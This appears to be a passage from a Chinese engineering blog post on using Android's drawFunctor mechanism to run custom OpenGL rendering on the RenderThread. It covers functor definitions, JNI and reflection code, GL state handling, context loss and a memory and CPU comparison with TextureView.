目前只能通过 View.OnDraw 来注入 functor,因此对于非 attached 的 view 是无法实现注入的。Functor 对具体要执行的代码并未限制,理论上可以插入任何代码的,比如插入一些统计、性能检测之类代码。系统为了 functor 不影响当前 gl context,执行 functor 前后进行了基本的状态保存和恢复工作。


另外,如果 View 设置了使用 HardwareLayer, 则 RenderThread 会单独渲染此 View,具体做法是为 Layer 生成一块 FBO,View 的内容渲染到此 FBO 上,然后再将 FBO 以 View 在 hierachy 上的变换绘制 Activity Window Buffer 上。 对 drawFunctor 影响的是, 会切换到 View 对应的 FBO 下执行 functor, 即 functor 执行的结果是写入到 FBO 而不是 Window Buffer。


三. 利用 drawFunctor 注入 GL 渲染


根据上文介绍,通过 drawFunctor 可以在 RenderThread 中注入任何代码,那么也一定可以注入 OpenGL API 来进行渲染。我们知道 OpenGL API 需要执行 EGL Context 上,所以就有两种策略:一种是利用 RenderThread 默认的 EGL Context 环境,一种是创建与 RenderThread EGL Context share 的 EGL Context。本文重点介绍第一种,第二种方法大同小异。


Android Functor 定义


首先找到 Android 源码中 Functor 的头文件定义并引入项目:



namespace android {

class Functor {

public:

Functor() {}

virtual ~Functor() {}

virtual int operator()(int /*what*/, void * /*data*/) { return 0; }

};

}

RenderThread 执行 Functor 时将调用 operator()方法,what 表示 functor 的操作类型,常见的有同步和绘制, 而 data 是 RenderThread 执行 functor 时传入的参数,根据源码发现是 data 是 android::uirenderer::DrawGlInfo 类型指针,包含当前裁剪区域、变换矩阵、dirty 区域等等。


DrawGlInfo 头文件定义如下:



namespace android {

namespace uirenderer {


/**

* Structure used by OpenGLRenderer::callDrawGLFunction() to pass and

* receive data from OpenGL functors.

*/

struct DrawGlInfo {

// Input: current clip rect

int clipLeft;

int clipTop;

int clipRight;

int clipBottom;


// Input: current width/height of destination surface

int width;

int height;


// Input: is the render target an FBO

bool isLayer;


// Input: current transform matrix, in OpenGL format

float transform[16];



// Input: Color space.

// const SkColorSpace* color_space_ptr;

const void* color_space_ptr;



// Output: dirty region to redraw

float dirtyLeft;

float dirtyTop;

float dirtyRight;

float dirtyBottom;



/**

* Values used as the "what" parameter of the functor.

*/

enum Mode {

// Indicates that the functor is called to perform a draw

kModeDraw,

// Indicates the the functor is called only to perform

// processing and that no draw should be attempted

kModeProcess,

// Same as kModeProcess, however there is no GL context because it was

// lost or destroyed

kModeProcessNoContext,

// Invoked every time the UI thread pushes over a frame to the render thread

// *and the owning view has a dirty display list*. This is a signal to sync

// any data that needs to be shared between the UI thread and the render thread.

// During this time the UI thread is blocked.

kModeSync

};



/**

* Values used by OpenGL functors to tell the framework

* what to do next.

*/

enum Status {

// The functor is done

kStatusDone = 0x0,

// DisplayList actually issued GL drawing commands.

// This is used to signal the HardwareRenderer that the

// buffers should be flipped - otherwise, there were no

// changes to the buffer, so no need to flip. Some hardware

// has issues with stale buffer contents when no GL

// commands are issued.

kStatusDrew = 0x4

};

}; // struct DrawGlInfo



} // namespace uirenderer

} // namespace android

Functor 设计


operator()调用时传入的 what 参数为 Mode 枚举, 对于注入 GL 的场景只需处理 kModeDraw 即可,c++ 侧类设计如下:



// MyFunctor定义

namespace android {

class MyFunctor : Functor {

public:

MyFunctor();

virtual ~MyFunctor() {}

virtual void onExec(int what,

android::uirenderer::DrawGlInfo* info);

virtual std::string getFunctorName() = 0;

int operator()(int /*what*/, void * /*data*/) override;

private:


};


}


// MyFunctor实现

int MyFunctor::operator() (int what, void *data) {

if (what == android::uirenderer::DrawGlInfo::Mode::kModeDraw) {

auto info = (android::uirenderer::DrawGlInfo*)data;

onExec(what, info);

}

return android::uirenderer::DrawGlInfo::Status::kStatusDone;

}


void MyFunctor::onExec(int what, android::uirenderer::DrawGlInfo* info) {

// 渲染实现

}

因为 functor 是 Java 层调度的,而真正实现是在 c++ 的,因此需要设计 java 侧类并做 JNI 桥接:



// java MyFunctor定义

class MyFunctor {

private long nativeHandle;

public MyFunctor() {

nativeHandle = createNativeHandle();

}

public long getNativeHandle() {

return nativeHanlde;

}

private native long createNativeHandle();

}


// jni 方法:

extern "C" JNIEXPORT jlong JNICALL

Java_com_test_MyFunctor_createNativeHandle(JNIEnv *env, jobject thiz) {

auto p = new MyFunctor();

return (jlong)p;

}

在 View.onDraw () 中调度 functor


框架在 java Canvas 类上提供了 API,可以在 onDraw () 时将 functor 记录到 Canvas 的 DisplayList 中。不过由于版本迭代的原因 API 在各版本上稍有不同,经总结可采用如下代码调用,兼容各版本区别:



public class FunctorView extends View {

...

private static Method sDrawGLFunction;

private MyFunctor myFunctor = new MyFunctor();


@Override

public void onDraw(Canvas cvs) {

super.onDraw(cvs);

getDrawFunctorMethodIfNot();

invokeFunctor(cvs, myFunctor);

}


private void invokeFunctor(Canvas canvas, MyFunctor functor) {

if (functor.getNativeHandle() != 0 && sDrawGLFunction != null) {

try {

sDrawGLFunction.invoke(canvas, functor.getNativeHandle());

} catch (Throwable t) {

// log

}

}

}


public synchronized static Method getDrawFunctorMethodIfNot() {

if (sDrawGLFunction != null) {

return sDrawGLFunction;

}

hasReflect = true;



String className;

String methodName;

Class<?> paramClass = long.class;



try {

if (Build.VERSION.SDK_INT > Build.VERSION_CODES.P) {

className = "android.graphics.RecordingCanvas";

methodName = "callDrawGLFunction2";

} else if (Build.VERSION.SDK_INT > Build.VERSION_CODES.LOLLIPOP_MR1) {

className = "android.view.DisplayListCanvas";

methodName = "callDrawGLFunction2";

} else if (Build.VERSION.SDK_INT == Build.VERSION_CODES.LOLLIPOP) {

className = "android.view.HardwareCanvas";

methodName = "callDrawGLFunction";

} else if (Build.VERSION.SDK_INT == Build.VERSION_CODES.LOLLIPOP_MR1) {

className = "android.view.HardwareCanvas";

methodName = "callDrawGLFunction2";

} else {

className = "android.view.HardwareCanvas";

methodName = "callDrawGLFunction";

paramClass = int.class;

}


Class<?> canvasClazz = Class.forName(className);

sDrawGLFunction = SystemApiReflector.getInstance().

getDeclaredMethod(SystemApiReflector.KEY_GL_FUNCTOR, canvasClazz,

methodName, paramClass);

} catch (Throwable t) {

// 异常

}



if (sDrawGLFunction != null) {

sDrawGLFunction.setAccessible(true);

} else {

// (异常)

}

return sDrawGLFunction;

}



}


注意上述代码反射系统内部 API,Android 10 之后做了 Hidden API 保护,直接反射会失败,此部分可网上搜索解决方案,此处不展开。


四. 实践中遇到的问题


GL 状态保存&恢复


Android RenderThread 在执行 drawFunctor 前会保存部分 GL 状态,如下源码:



// Android 9.0 code

// 保存状态

void RenderState::interruptForFunctorInvoke() {

mCaches->setProgram(nullptr);

mCaches->textureState().resetActiveTexture();

meshState().unbindMeshBuffer();

meshState().unbindIndicesBuffer();

meshState().resetVertexPointers();

meshState().disableTexCoordsVertexArray();

debugOverdraw(false, false);

// TODO: We need a way to know whether the functor is sRGB aware (b/32072673)

if (mCaches->extensions().hasLinearBlending() &&

mCaches->extensions().hasSRGBWriteControl()) {

glDisable(GL_FRAMEBUFFER_SRGB_EXT);

}

}


// 恢复状态

void RenderState::resumeFromFunctorInvoke() {

if (mCaches->extensions().hasLinearBlending() &&

mCaches->extensions().hasSRGBWriteControl()) {

glEnable(GL_FRAMEBUFFER_SRGB_EXT);

}

glViewport(0, 0, mViewportWidth, mViewportHeight);

glBindFramebuffer(GL_FRAMEBUFFER, mFramebuffer);

debugOverdraw(false, false);

glClearColor(0.0f, 0.0f, 0.0f, 0.0f);

scissor().invalidate();

blend().invalidate();

mCaches->textureState().activateTexture(0);

mCaches->textureState().resetBoundTextures();

}

可以看出并没有保存所有 GL 状态,可以增加保存和恢复所有其他 GL 状态的逻辑,也可以针对实际 functor 中改变的状态进行保存和恢复;特别注意 functor 执行时的 GL 状态是非初始状态,例如 stencil、blend 等都可能被系统 RenderThread 修改,因此很多状态需要重置到默认。


View变换处理


当承载 functor 的 View 外部套 ScrollView、ViewPager,或者 View 执行动画时,渲染结果异常或者不正确。例如水平滚动条中 View 使用 functor 渲染,内容不会随着滚动条移动调整位置。进一步研究源码 Android 发现,此类问题原因都是 Android 在渲染 View 时加入了变换,变换采用标准 4x4 变换列矩阵描述,其值可以从 DrawGlInfo::transform 字段中获取, 因此渲染时需要处理 transform,例如将 transform 作为模型变换矩阵传入 shader。


ContextLost


Android framework 在 trimMemory 时在 RenderThread 中会销毁当前 GL Context 并创建一个新 Context, 这样会导致 functor 的 program、shader、纹理等 GL 资源都不可用,再去渲染的话可能会导致闪退、渲染异常等问题,因此这种情况必须处理。


首先,需要响应 lowMemory 事件,可以通过监听 Application 的 trimMemory 回调实现:



activity.getApplicationContext().registerComponentCallbacks(

new ComponentCallbacks2() {

@Override

public void onTrimMemory(int level) {

if (level == 15) {

// 触发functor重建

}

}

@Override

public void onConfigurationChanged(Configuration newConfig) {

}

@Override

public void onLowMemory() {

}

});

然后,保存 & 恢复 functor 的 GL 资源和执行状态,例如 shader、program、fbo 等需要重新初始化,纹理、buffer、uniform 数据需要重新上传。注意由于无法事前知道 onTrimMemory 发生,上一帧内容是无法恢复的,当然知道完整的状态是可以重新渲染出来的。


鉴于存在无法提前感知的 ContextLost 情况,建议采用基于 commandbuffer 的模式来实现 functor 渲染逻辑。


五. 效果


我们用一个 OpenGL 渲染的简单 case (分辨率1080x1920),对使用 TextureView 渲染和使用 drawFunctor 渲染的方式进行了比较,结果如下:






















Simple Case内存CPU 占用
基于 TextureView100 M ( Graphics 38 M )6%
基于 GLFunctor84 M ( Graphics 26 M )4%

从上述结果可得出结论,使用 drawFunctor 方式在内存、CPU 占用上具有优势, 可应用于局部页面的互动渲染、视频渲染等场景。


作者:支付宝体验科技
链接:https://juejin.cn/post/7130501902545977352
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »